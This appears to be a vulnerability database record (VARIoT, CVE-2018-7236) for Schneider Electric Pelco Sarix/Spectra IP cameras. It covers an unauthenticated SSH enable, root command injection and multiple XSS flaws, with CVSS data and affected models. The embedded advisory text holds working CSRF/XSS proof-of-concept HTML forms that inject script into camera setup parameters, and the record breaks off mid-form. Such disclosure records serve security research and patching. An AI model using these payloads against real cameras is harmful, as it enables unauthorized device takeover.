VAR-201803-1843

Vulnerability from variot - Updated: 2024-11-23 21:39

A vulnerability exists in Schneider Electric's Pelco Sarix Professional in all firmware versions prior to 3.29.67 which could enable SSH service due to lack of authentication for /login/bin/set_param could enable SSH service. Schneider Electric Pelco Sarix Professional Contains an authentication vulnerability.Information may be obtained and information may be altered. PelcoSarix/SpectraCameras is a camera from Pelco. SchneiderElectricPelcoSarix/SpectraCameras has multiple cross-site scripting vulnerabilities that an attacker can exploit to execute arbitrary HTML and script code. SchneiderElectricPelcoSarixProfessional is a video surveillance device from Schneider Electric, France. A security vulnerability exists in SchneiderElectricPelcoSarixProfessional with firmware prior to 3.29.67, which was caused by a program failing to authenticate to /login/bin/set_param. Pelco offers the broadest selection of IP cameras designedfor security surveillance in a wide variety of commercial and industrialsettings. The POST parameter 'enable_leds' locatedin the update() function called via the GeneralSetupController.phpscript is not properly sanitised before being used in writeLedConfig()function to enable led state to on or off. A remote attacker canexploit this issue and execute arbitrary system commands grantingher system access with root privileges using a specially craftedrequest and escape sequence to system shell.Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknownMontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)Lighttpd/1.4.28PHP/5.3.0. Schneider Electric Pelco Sarix/Spectra Cameras Multiple XSS Vulnerabilities

Vendor: Schneider Electric SE Product web page: https://www.pelco.com Affected version: Sarix Enhanced - Model: IME219 (Firmware: 2.1.2.0.8280-A0.0) Sarix Enhanced - Model: IME119 (Firmware: 2.1.2.0.8280-A0.0) Sarix - Model: D5230 (Firmware: 1.9.2.23-20141118-1.9330-A1.10722) Sarix - Model: ID10DN (Firmware: 1.8.2.18-20121109-1.9110-O3.8503) Spectra Enhanced - Model: D6230 (Firmware: 2.2.0.5.9340-A0.0)

Summary: Pelco offers the broadest selection of IP cameras designed for security surveillance in a wide variety of commercial and industrial settings. From our industry-leading fixed and high-speed IP cameras to panoramic, thermal imaging, explosionproof and more, we offer a camera for any environment, any lighting condition and any application. When nothing but the best will do. SarixaC/ Enhanced Range cameras provide the most robust feature-set for your mission-critical applications. With SureVisionaC/ 3.0, Sarix Enhanced delivers the best possible image in difficult lighting conditions such as a combination of bright areas, shaded areas, and intense light. Designed with superior reliability, fault tolerance, and processing speed, these rugged fixed IP cameras ensure you always get the video that you need.

Desc: Pelco cameras suffer from multiple dom-based, stored and reflected XSS vulnerabilities when input passed via several parameters to several scripts is not properly sanitized before being returned to the user.

Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknown MontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980) Lighttpd/1.4.28 PHP/5.3.0

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience

Advisory ID: ZSL-2017-5415 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5415.php

07.04.2017

--

CSRF/XSS on username parameter:

history.pushState('', '', '/')

CSRF/XSS on gateway, hostname, ip_address, nameservers, http_port, rtsp_port and subnet_mask parameter:

history.pushState('', '', '/')

CSRF/XSS on version parameter:

history.pushState('', '', '/')

CSRF/XSS on device_name, ntp_server, region, smtp_server and zone parameter:

history.pushState('', '', '/')

XSS on ftp_base_path, ftp_server, ftp_username, ftp_password and name parameter:

history.pushState('', '', '/')

Show details on source website
To clipboard 

{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-201803-1843",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "imp519-1e",
        "scope": "lt",
        "trust": 1.0,
        "vendor": "schneider electric",
        "version": "3.29.67"
      },
      {
        "model": "ibp219-1er",
        "scope": "lt",
        "trust": 1.0,
        "vendor": "schneider electric",
        "version": "3.29.67"
      },
      {
        "model": "ibp319-1er",
        "scope": "lt",
        "trust": 1.0,
        "vendor": "schneider electric",
        "version": "3.29.67"
      },
      {
        "model": "ibp519-1er",
        "scope": "lt",
        "trust": 1.0,
        "vendor": "schneider electric",
        "version": "3.29.67"
      },
      {
        "model": "imps110-1e",
        "scope": "lt",
        "trust": 1.0,
        "vendor": "schneider electric",
        "version": "3.29.67"
      },
      {
        "model": "imp219-1er",
        "scope": "lt",
        "trust": 1.0,
        "vendor": "schneider electric",
        "version": "3.29.67"
      },
      {
        "model": "imp519-1",
        "scope": "lt",
        "trust": 1.0,
        "vendor": "schneider electric",
        "version": "3.29.67"
      },
      {
        "model": "imp319-1",
        "scope": "lt",
        "trust": 1.0,
        "vendor": "schneider electric",
        "version": "3.29.67"
      },
      {
        "model": "imp219-1e",
        "scope": "lt",
        "trust": 1.0,
        "vendor": "schneider electric",
        "version": "3.29.67"
      },
      {
        "model": "imp319-1e",
        "scope": "lt",
        "trust": 1.0,
        "vendor": "schneider electric",
        "version": "3.29.67"
      },
      {
        "model": "ibps110-1er",
        "scope": "lt",
        "trust": 1.0,
        "vendor": "schneider electric",
        "version": "3.29.67"
      },
      {
        "model": "imp1110-1",
        "scope": "lt",
        "trust": 1.0,
        "vendor": "schneider electric",
        "version": "3.29.67"
      },
      {
        "model": "mps110-1",
        "scope": "lt",
        "trust": 1.0,
        "vendor": "schneider electric",
        "version": "3.29.67"
      },
      {
        "model": "imp519-1er",
        "scope": "lt",
        "trust": 1.0,
        "vendor": "schneider electric",
        "version": "3.29.67"
      },
      {
        "model": "imp319-1er",
        "scope": "lt",
        "trust": 1.0,
        "vendor": "schneider electric",
        "version": "3.29.67"
      },
      {
        "model": "imp219-1",
        "scope": "lt",
        "trust": 1.0,
        "vendor": "schneider electric",
        "version": "3.29.67"
      },
      {
        "model": "imps110-1er",
        "scope": "lt",
        "trust": 1.0,
        "vendor": "schneider electric",
        "version": "3.29.67"
      },
      {
        "model": "imp1110-1e",
        "scope": "lt",
        "trust": 1.0,
        "vendor": "schneider electric",
        "version": "3.29.67"
      },
      {
        "model": "ibp1110-1er",
        "scope": "lt",
        "trust": 1.0,
        "vendor": "schneider electric",
        "version": "3.29.67"
      },
      {
        "model": "imp1110-1er",
        "scope": "lt",
        "trust": 1.0,
        "vendor": "schneider electric",
        "version": "3.29.67"
      },
      {
        "model": "ibp1110-1er",
        "scope": null,
        "trust": 0.8,
        "vendor": "schneider electric",
        "version": null
      },
      {
        "model": "ibps110-1er",
        "scope": null,
        "trust": 0.8,
        "vendor": "schneider electric",
        "version": null
      },
      {
        "model": "imp1110-1",
        "scope": null,
        "trust": 0.8,
        "vendor": "schneider electric",
        "version": null
      },
      {
        "model": "imps110-1e",
        "scope": null,
        "trust": 0.8,
        "vendor": "schneider electric",
        "version": null
      },
      {
        "model": "sarix/spectra cameras",
        "scope": null,
        "trust": 0.6,
        "vendor": "pelco",
        "version": null
      },
      {
        "model": "electric spectra enhanced model: d6230 2.2.0.5.9340-a0.0",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "schneider",
        "version": null
      },
      {
        "model": "electric sarix model: id10dn 1.8.2.18-20121109-1.9110-o3.8503",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "schneider",
        "version": null
      },
      {
        "model": "electric sarix model: d5230 1.9.2.23-20141118-1.9330-a1.10722",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "schneider",
        "version": null
      },
      {
        "model": "electric sarix enhanced model: ime119 2.1.2.0.8280-a0.0",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "schneider",
        "version": null
      },
      {
        "model": "electric sarix enhanced model: ime219 2.1.2.0.8280-a0.0",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "schneider",
        "version": null
      },
      {
        "model": "electric pelco sarix professional",
        "scope": "lt",
        "trust": 0.6,
        "vendor": "schneider",
        "version": "3.29.67"
      },
      {
        "model": "pelco sarix/spectra cameras root remote code execution",
        "scope": "eq",
        "trust": 0.1,
        "vendor": "schneider electric se",
        "version": "sarix enhanced - model: ime219 (firmware: 2.1.2.0.8280-a0.0)"
      },
      {
        "model": "pelco sarix/spectra cameras root remote code execution",
        "scope": "eq",
        "trust": 0.1,
        "vendor": "schneider electric se",
        "version": "sarix enhanced - model: ime119 (firmware: 2.1.2.0.8280-a0.0)"
      },
      {
        "model": "pelco sarix/spectra cameras root remote code execution",
        "scope": "eq",
        "trust": 0.1,
        "vendor": "schneider electric se",
        "version": "sarix - model: d5230 (firmware: 1.9.2.23-20141118-1.9330-a1.10722)"
      },
      {
        "model": "pelco sarix/spectra cameras root remote code execution",
        "scope": "eq",
        "trust": 0.1,
        "vendor": "schneider electric se",
        "version": "sarix - model: id10dn (firmware: 1.8.2.18-20121109-1.9110-o3.8503)"
      },
      {
        "model": "pelco sarix/spectra cameras root remote code execution",
        "scope": "eq",
        "trust": 0.1,
        "vendor": "schneider electric se",
        "version": "spectra enhanced - model: d6230 (firmware: 2.2.0.5.9340-a0.0)"
      },
      {
        "model": "pelco sarix/spectra cameras csrf enable ssh root access",
        "scope": "eq",
        "trust": 0.1,
        "vendor": "schneider electric se",
        "version": "sarix enhanced - model: ime219 (firmware: 2.1.2.0.8280-a0.0)"
      },
      {
        "model": "pelco sarix/spectra cameras csrf enable ssh root access",
        "scope": "eq",
        "trust": 0.1,
        "vendor": "schneider electric se",
        "version": "sarix enhanced - model: ime119 (firmware: 2.1.2.0.8280-a0.0)"
      },
      {
        "model": "pelco sarix/spectra cameras csrf enable ssh root access",
        "scope": "eq",
        "trust": 0.1,
        "vendor": "schneider electric se",
        "version": "sarix - model: d5230 (firmware: 1.9.2.23-20141118-1.9330-a1.10722)"
      },
      {
        "model": "pelco sarix/spectra cameras csrf enable ssh root access",
        "scope": "eq",
        "trust": 0.1,
        "vendor": "schneider electric se",
        "version": "sarix - model: id10dn (firmware: 1.8.2.18-20121109-1.9110-o3.8503)"
      },
      {
        "model": "pelco sarix/spectra cameras csrf enable ssh root access",
        "scope": "eq",
        "trust": 0.1,
        "vendor": "schneider electric se",
        "version": "spectra enhanced - model: d6230 (firmware: 2.2.0.5.9340-a0.0)"
      },
      {
        "model": "pelco sarix/spectra cameras multiple xss vulnerabilities",
        "scope": "eq",
        "trust": 0.1,
        "vendor": "schneider electric se",
        "version": "sarix enhanced - model: ime219 (firmware: 2.1.2.0.8280-a0.0)"
      },
      {
        "model": "pelco sarix/spectra cameras multiple xss vulnerabilities",
        "scope": "eq",
        "trust": 0.1,
        "vendor": "schneider electric se",
        "version": "sarix enhanced - model: ime119 (firmware: 2.1.2.0.8280-a0.0)"
      },
      {
        "model": "pelco sarix/spectra cameras multiple xss vulnerabilities",
        "scope": "eq",
        "trust": 0.1,
        "vendor": "schneider electric se",
        "version": "sarix - model: d5230 (firmware: 1.9.2.23-20141118-1.9330-a1.10722)"
      },
      {
        "model": "pelco sarix/spectra cameras multiple xss vulnerabilities",
        "scope": "eq",
        "trust": 0.1,
        "vendor": "schneider electric se",
        "version": "sarix - model: id10dn (firmware: 1.8.2.18-20121109-1.9110-o3.8503)"
      },
      {
        "model": "pelco sarix/spectra cameras multiple xss vulnerabilities",
        "scope": "eq",
        "trust": 0.1,
        "vendor": "schneider electric se",
        "version": "spectra enhanced - model: d6230 (firmware: 2.2.0.5.9340-a0.0)"
      }
    ],
    "sources": [
      {
        "db": "ZSL",
        "id": "ZSL-2017-5417"
      },
      {
        "db": "ZSL",
        "id": "ZSL-2017-5416"
      },
      {
        "db": "ZSL",
        "id": "ZSL-2017-5415"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2017-23302"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-05330"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-002614"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-7236"
      }
    ]
  },
  "configurations": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/configurations#",
      "children": {
        "@container": "@list"
      },
      "cpe_match": {
        "@container": "@list"
      },
      "data": {
        "@container": "@list"
      },
      "nodes": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "cpe_match": [
              {
                "cpe22Uri": "cpe:/o:schneider_electric:ibp1110-1er_firmware",
                "vulnerable": true
              },
              {
                "cpe22Uri": "cpe:/o:schneider_electric:ibps110-1er_firmware",
                "vulnerable": true
              },
              {
                "cpe22Uri": "cpe:/o:schneider_electric:imp1110-1_firmware",
                "vulnerable": true
              },
              {
                "cpe22Uri": "cpe:/o:schneider_electric:imps110-1e_firmware",
                "vulnerable": true
              }
            ],
            "operator": "OR"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-002614"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Vulnerability discovered by Gjoko Krstic",
    "sources": [
      {
        "db": "ZSL",
        "id": "ZSL-2017-5417"
      },
      {
        "db": "ZSL",
        "id": "ZSL-2017-5416"
      },
      {
        "db": "ZSL",
        "id": "ZSL-2017-5415"
      }
    ],
    "trust": 0.3
  },
  "cve": "CVE-2018-7236",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "accessComplexity": "MEDIUM",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "nvd@nist.gov",
            "availabilityImpact": "NONE",
            "baseScore": 5.8,
            "confidentialityImpact": "PARTIAL",
            "exploitabilityScore": 8.6,
            "id": "CVE-2018-7236",
            "impactScore": 4.9,
            "integrityImpact": "PARTIAL",
            "severity": "MEDIUM",
            "trust": 1.8,
            "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N",
            "version": "2.0"
          },
          {
            "accessComplexity": "MEDIUM",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "CNVD",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "confidentialityImpact": "NONE",
            "exploitabilityScore": 8.6,
            "id": "CNVD-2017-23302",
            "impactScore": 2.9,
            "integrityImpact": "PARTIAL",
            "severity": "MEDIUM",
            "trust": 0.6,
            "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N",
            "version": "2.0"
          },
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "CNVD",
            "availabilityImpact": "NONE",
            "baseScore": 5.0,
            "confidentialityImpact": "NONE",
            "exploitabilityScore": 10.0,
            "id": "CNVD-2018-05330",
            "impactScore": 2.9,
            "integrityImpact": "PARTIAL",
            "severity": "MEDIUM",
            "trust": 0.6,
            "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N",
            "version": "2.0"
          }
        ],
        "cvssV3": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "author": "nvd@nist.gov",
            "availabilityImpact": "NONE",
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "exploitabilityScore": 2.8,
            "id": "CVE-2018-7236",
            "impactScore": 5.2,
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "trust": 1.0,
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          {
            "attackComplexity": "Low",
            "attackVector": "Network",
            "author": "NVD",
            "availabilityImpact": "None",
            "baseScore": 8.1,
            "baseSeverity": "High",
            "confidentialityImpact": "High",
            "exploitabilityScore": null,
            "id": "CVE-2018-7236",
            "impactScore": null,
            "integrityImpact": "High",
            "privilegesRequired": "None",
            "scope": "Unchanged",
            "trust": 0.8,
            "userInteraction": "Required",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
            "version": "3.0"
          }
        ],
        "severity": [
          {
            "author": "nvd@nist.gov",
            "id": "CVE-2018-7236",
            "trust": 1.0,
            "value": "HIGH"
          },
          {
            "author": "NVD",
            "id": "CVE-2018-7236",
            "trust": 0.8,
            "value": "High"
          },
          {
            "author": "CNVD",
            "id": "CNVD-2017-23302",
            "trust": 0.6,
            "value": "MEDIUM"
          },
          {
            "author": "CNVD",
            "id": "CNVD-2018-05330",
            "trust": 0.6,
            "value": "MEDIUM"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-201803-053",
            "trust": 0.6,
            "value": "HIGH"
          },
          {
            "author": "ZSL",
            "id": "ZSL-2017-5417",
            "trust": 0.1,
            "value": "(4/5)"
          },
          {
            "author": "ZSL",
            "id": "ZSL-2017-5416",
            "trust": 0.1,
            "value": "(4/5)"
          },
          {
            "author": "ZSL",
            "id": "ZSL-2017-5415",
            "trust": 0.1,
            "value": "(3/5)"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "ZSL",
        "id": "ZSL-2017-5417"
      },
      {
        "db": "ZSL",
        "id": "ZSL-2017-5416"
      },
      {
        "db": "ZSL",
        "id": "ZSL-2017-5415"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2017-23302"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-05330"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-002614"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201803-053"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-7236"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "A vulnerability exists in Schneider Electric\u0027s Pelco Sarix Professional in all firmware versions prior to 3.29.67 which could enable SSH service due to lack of authentication for /login/bin/set_param could enable SSH service. Schneider Electric Pelco Sarix Professional Contains an authentication vulnerability.Information may be obtained and information may be altered. PelcoSarix/SpectraCameras is a camera from Pelco. SchneiderElectricPelcoSarix/SpectraCameras has multiple cross-site scripting vulnerabilities that an attacker can exploit to execute arbitrary HTML and script code. SchneiderElectricPelcoSarixProfessional is a video surveillance device from Schneider Electric, France. A security vulnerability exists in SchneiderElectricPelcoSarixProfessional with firmware prior to 3.29.67, which was caused by a program failing to authenticate to /login/bin/set_param. Pelco offers the broadest selection of IP cameras designedfor security surveillance in a wide variety of commercial and industrialsettings. The POST parameter \u0027enable_leds\u0027 locatedin the update() function called via the GeneralSetupController.phpscript is not properly sanitised before being used in writeLedConfig()function to enable led state to on or off. A remote attacker canexploit this issue and execute arbitrary system commands grantingher system access with root privileges using a specially craftedrequest and escape sequence to system shell.Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknownMontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)Lighttpd/1.4.28PHP/5.3.0. \nSchneider Electric Pelco Sarix/Spectra Cameras Multiple XSS Vulnerabilities\n\n\nVendor: Schneider Electric SE\nProduct web page: https://www.pelco.com\nAffected version: Sarix Enhanced - Model: IME219 (Firmware: 2.1.2.0.8280-A0.0)\n                  Sarix Enhanced - Model: IME119 (Firmware: 2.1.2.0.8280-A0.0)\n                  Sarix - Model: D5230 (Firmware: 1.9.2.23-20141118-1.9330-A1.10722)\n                  Sarix - Model: ID10DN (Firmware: 1.8.2.18-20121109-1.9110-O3.8503)\n                  Spectra Enhanced - Model: D6230 (Firmware: 2.2.0.5.9340-A0.0)\n\nSummary: Pelco offers the broadest selection of IP cameras designed\nfor security surveillance in a wide variety of commercial and industrial\nsettings. From our industry-leading fixed and high-speed IP cameras to\npanoramic, thermal imaging, explosionproof and more, we offer a camera\nfor any environment, any lighting condition and any application. \nWhen nothing but the best will do. SarixaC/ Enhanced Range cameras\nprovide the most robust feature-set for your mission-critical applications. \nWith SureVisionaC/ 3.0, Sarix Enhanced delivers the best possible image\nin difficult lighting conditions such as a combination of bright areas,\nshaded areas, and intense light. Designed with superior reliability,\nfault tolerance, and processing speed, these rugged fixed IP cameras\nensure you always get the video that you need. \n\nDesc: Pelco cameras suffer from multiple dom-based, stored and reflected\nXSS vulnerabilities when input passed via several parameters to several\nscripts is not properly sanitized before being returned to the user. \n\nTested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknown\n           MontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)\n           Lighttpd/1.4.28\n           PHP/5.3.0\n\n\nVulnerability discovered by Gjoko \u0027LiquidWorm\u0027 Krstic\n                            @zeroscience\n\n\nAdvisory ID: ZSL-2017-5415\nAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5415.php\n\n\n07.04.2017\n\n--\n\n\nCSRF/XSS on username parameter:\n-------------------------------\n\n\u003chtml\u003e\n  \u003cbody\u003e\n  \u003cscript\u003ehistory.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027)\u003c/script\u003e\n    \u003cform action=\"http://192.168.1.1/setup/network/dot1x/update\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"dot1x\" value=\"on\" /\u003e\n      \u003cinput type=\"hidden\" name=\"protocol\" value=\"EAP\u0026#45;TLS\" /\u003e\n      \u003cinput type=\"hidden\" name=\"inner\u0026#95;auth\" value=\"CHAP\" /\u003e\n      \u003cinput type=\"hidden\" name=\"username\" value=\u0027\"\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u0027 /\u003e\n      \u003cinput type=\"hidden\" name=\"password\" value=\"blah\" /\u003e\n      \u003cinput type=\"hidden\" name=\"anonymous\u0026#95;id\" value=\"\u0026#13;\" /\u003e\n      \u003cinput type=\"hidden\" name=\"ca\u0026#95;certificate\" value=\"test\" /\u003e\n      \u003cinput type=\"hidden\" name=\"client\u0026#95;certificate\" value=\"test\" /\u003e\n      \u003cinput type=\"hidden\" name=\"private\u0026#95;key\" value=\"test\" /\u003e\n      \u003cinput type=\"hidden\" name=\"private\u0026#95;key\u0026#95;password\" value=\"test\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n\n\nCSRF/XSS on gateway, hostname, ip_address, nameservers, http_port, rtsp_port and subnet_mask parameter:\n-------------------------------------------------------------------------------------------------------\n\n\u003chtml\u003e\n  \u003cbody\u003e\n  \u003cscript\u003ehistory.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027)\u003c/script\u003e\n    \u003cform action=\"http://192.168.1.1/setup/network/general/update\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"hostname\" value=\u0027\"\u003e\u003cscript\u003ealert(2)\u003c/script\u003e\u0027 /\u003e\n      \u003cinput type=\"hidden\" name=\"http\u0026#95;port\" value=\u0027\"\u003e\u003cscript\u003ealert(3)\u003c/script\u003e\u0027 /\u003e\n      \u003cinput type=\"hidden\" name=\"rtsp\u0026#95;port\" value=\u0027\"\u003e\u003cscript\u003ealert(4)\u003c/script\u003e\u0027 /\u003e\n      \u003cinput type=\"hidden\" name=\"dhcp\" value=\"off\" /\u003e\n      \u003cinput type=\"hidden\" name=\"ip\u0026#95;address\" value=\u0027\"\u003e\u003cscript\u003ealert(5)\u003c/script\u003e\u0027 /\u003e\n      \u003cinput type=\"hidden\" name=\"subnet\u0026#95;mask\" value=\u0027\"\u003e\u003cscript\u003ealert(6)\u003c/script\u003e\u0027 /\u003e\n      \u003cinput type=\"hidden\" name=\"gateway\" value=\u0027\"\u003e\u003cscript\u003ealert(7)\u003c/script\u003e\u0027 /\u003e\n      \u003cinput type=\"hidden\" name=\"nameservers\" value=\u0027\"\u003e\u003cscript\u003ealert(8)\u003c/script\u003e\u0027 /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n\n\nCSRF/XSS on version parameter:\n------------------------------\n\n\u003chtml\u003e\n  \u003cbody\u003e\n  \u003cscript\u003ehistory.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027)\u003c/script\u003e\n    \u003cform action=\"http://192.168.1.1/setup/network/snmp/update\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"version\" value=\u0027\";alert(9)//\u0027 /\u003e\n      \u003cinput type=\"hidden\" name=\"v2\u0026#95;community\u0026#95;string\" value=\"public\" /\u003e\n      \u003cinput type=\"hidden\" name=\"v2\u0026#95;receiver\u0026#95;address\" value=\"\" /\u003e\n      \u003cinput type=\"hidden\" name=\"v2\u0026#95;trap\u0026#95;community\u0026#95;string\" value=\"trapbratce\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n\n\nCSRF/XSS on device_name, ntp_server, region, smtp_server and zone parameter:\n----------------------------------------------------------------------------\n\n\u003chtml\u003e\n  \u003cbody\u003e\n  \u003cscript\u003ehistory.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027)\u003c/script\u003e\n    \u003cform action=\"http://192.168.1.1/setup/system/general/update\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"device\u0026#95;name\" value=\u0027ZSL\"\u003e\u003cscript\u003ealert(10)\u003c/script\u003e\u0027 /\u003e\n      \u003cinput type=\"hidden\" name=\"enable\u0026#95;leds\" value=\"on\" /\u003e\n      \u003cinput type=\"hidden\" name=\"smtp\u0026#95;server\" value=\u0027\"\u003e\u003cscript\u003ealert(11)\u003c/script\u003e\u0027 /\u003e\n      \u003cinput type=\"hidden\" name=\"ntp\u0026#95;server\u0026#95;from\u0026#95;dhcp\" value=\"false\" /\u003e\n      \u003cinput type=\"hidden\" name=\"ntp\u0026#95;server\" value=\"\u0027;alert(12)//\u0027\" /\u003e\n      \u003cinput type=\"hidden\" name=\"region\" value=\"Macedonia\u0027;alert(13)//\" /\u003e\n      \u003cinput type=\"hidden\" name=\"zone\" value=\"Kumanovo\u0027;alert(14)//\" /\u003e\n      \u003cinput type=\"hidden\" name=\"enable\u0026#95;time\u0026#95;overlay\" value=\"on\" /\u003e\n      \u003cinput type=\"hidden\" name=\"enable\u0026#95;name\u0026#95;overlay\" value=\"off\" /\u003e\n      \u003cinput type=\"hidden\" name=\"position\" value=\"topright\" /\u003e\n      \u003cinput type=\"hidden\" name=\"date\u0026#95;format\" value=\"0\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n\n\nXSS on ftp_base_path, ftp_server, ftp_username, ftp_password and name parameter:\n--------------------------------------------------------------------------------\n\n\u003chtml\u003e\n  \u003cbody\u003e\n  \u003cscript\u003ehistory.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027)\u003c/script\u003e\n    \u003cform action=\"http://192.168.1.1/setup/events/handlers/update\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"id\" value=\"\" /\u003e\n      \u003cinput type=\"hidden\" name=\"relay\u0026#95;sentinel\" value=\"relay\u0026#95;sentinel\" /\u003e\n      \u003cinput type=\"hidden\" name=\"name\" value=\u0027\"\u003e\u003cscript\u003ealert(15)\u003c/script\u003e\u0027 /\u003e\n      \u003cinput type=\"hidden\" name=\"type\" 